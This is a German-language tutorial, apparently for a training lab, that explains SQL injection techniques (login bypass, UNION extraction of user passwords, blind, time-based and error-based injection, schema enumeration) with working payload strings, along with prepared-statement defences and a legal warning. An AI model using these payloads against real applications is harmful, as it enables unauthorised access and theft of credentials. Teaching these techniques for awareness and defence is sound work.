Detaillierte technische Erklärungen zu SQL-Injection-Techniken – Wie sie funktionieren und warum sie wirken
Methoden verstehenDie grundlegendste Form der SQL-Injection durch String-Konkatenation
' OR '1'='1' --
Der Apostroph beendet den String, OR '1'='1' ist immer wahr, -- kommentiert den Rest aus
SELECT * FROM users WHERE username = '$username' AND password = '$password'
SELECT * FROM users WHERE username = ? AND password = ?
' OR 1=1 --
Numerische Bedingung
' OR 'a'='a' --
String-Vergleich
admin' --
Gezielter Login
Kombiniert Ergebnisse aus verschiedenen Tabellen mit dem UNION-Operator
' UNION SELECT null, username, password FROM users --
UNION kombiniert Ergebnisse zweier SELECT-Statements mit gleicher Spaltenanzahl
Der SQL UNION-Operator kombiniert die Ergebnisse von zwei oder mehr SELECT-Statements. Die ursprüngliche Abfrage liefert ihre Ergebnisse, und unsere injizierte UNION-Abfrage fügt zusätzliche Daten hinzu.
' UNION SELECT 1, username, password FROM users --
Benutzerdaten extrahieren
' UNION SELECT @@version, database(), user() --
Systeminfo abrufen
Nutzt unterschiedliche Anwendungsverhalten bei True/False-Bedingungen
Verschiedene Bedingungen führen zu unterschiedlichen Anwendungsantworten
' AND 1=1 --
' AND 1=2 --
Die Anwendung reagiert unterschiedlich auf wahre und falsche Bedingungen. Durch systematisches Testen können Informationen extrahiert werden.
' AND (SELECT COUNT(*) FROM users) > 0 --
Tabellenexistenz prüfen
' AND LENGTH(database()) > 5 --
Datenbanknamen-Länge
Nutzt zeitbasierte Verzögerungen zur Informationsgewinnung
' OR IF(1=1, SLEEP(5), 0) --
Verzögerungen in der Antwortzeit zeigen erfolgreiche Injection an
Zeitbasierte Antworten sind messbar und können als Informationskanal genutzt werden. Wenn eine Bedingung wahr ist, wird eine Verzögerung ausgelöst.
' OR IF((SELECT COUNT(*) FROM users) > 0, SLEEP(5), 0) --
Tabelle existiert
' OR IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0) --
Version prüfen
Nutzt Fehlermeldungen zur Informationsgewinnung
Detaillierte Fehlermeldungen verraten Datenbankstrukturen
' AND (SELECT COUNT(*) FROM information_schema.tables) --
Viele Datenbanken geben detaillierte Fehlermeldungen aus, die Informationen über Tabellen, Spalten und Datentypen preisgeben.
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version))) --
MySQL Version extrahieren
' AND 1=CAST((SELECT @@version) AS INT) --
Type-Casting Fehler
Nutzt Metadaten-Tabellen zur Datenbankstruktur-Erkundung
Eine standardisierte Metadaten-Datenbank, die Informationen über alle Tabellen, Spalten und Strukturen enthält.
information_schema.tables
Alle Tabellennamen
information_schema.columns
Spaltennamen und -typen
information_schema.schemata
Datenbanknamen
Die information_schema-Tabellen sind in den meisten SQL-Datenbanken verfügbar und enthalten standardisierte Metadaten über die Datenbankstruktur.
' UNION SELECT table_name, null FROM information_schema.tables --
Alle Tabellen auflisten
' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users' --
Spalten einer Tabelle
Sonderzeichen in URLs müssen kodiert werden, damit SQL-Injection-Payloads korrekt übertragen werden.
' OR '1'='1' --
%27%20OR%20%271%27%3D%271%27%20--
' UNION SELECT null, username FROM users --
%27%20UNION%20SELECT%20null,%20username%20FROM%20users%20--
Prepared Statements trennen SQL-Code von Daten. Der Code wird vorkompiliert und Daten werden später als Parameter gebunden, wodurch eine Interpretation als SQL-Code verhindert wird.
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->execute([$username, $password]);
cursor.execute('SELECT * FROM users WHERE username = %s AND password = %s', (username, password))
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);
Verwende die ORDER BY-Klausel, um die Spaltenanzahl zu ermitteln:
' ORDER BY 1 -- (funktioniert)
' ORDER BY 2 -- (funktioniert)
' ORDER BY 3 -- (Fehler - zu viele Spalten)
Die höchste funktionierende Nummer ist deine Spaltenanzahl.
Häufige Probleme:
Systematisches Vorgehen:
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables
SELECT column_name FROM information_schema.columns WHERE table_name='users'
Vermeide zusätzliche Statements und arbeite nur mit UNION SELECT:
' UNION SELECT username, password FROM users --
Anstatt zu versuchen, Tabellen zu löschen, fokussiere dich auf Datenextraktion.
Blind SQL Injection erfordert systematisches Testen:
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1) = 'a' --
Durch schrittweises Testen jedes Zeichens können Daten extrahiert werden.
Alle gezeigten Techniken dürfen nur in sicheren Lernumgebungen wie SQL-Insekten eingesetzt werden.
Angriffe auf produktive Systeme ohne Berechtigung sind illegal und strafbar nach §202a StGB (Ausspähen von Daten) und §303a StGB (Datenveränderung).
Diese Anleitung dient ausschließlich zu Bildungszwecken und zur Sensibilisierung für IT-Sicherheit.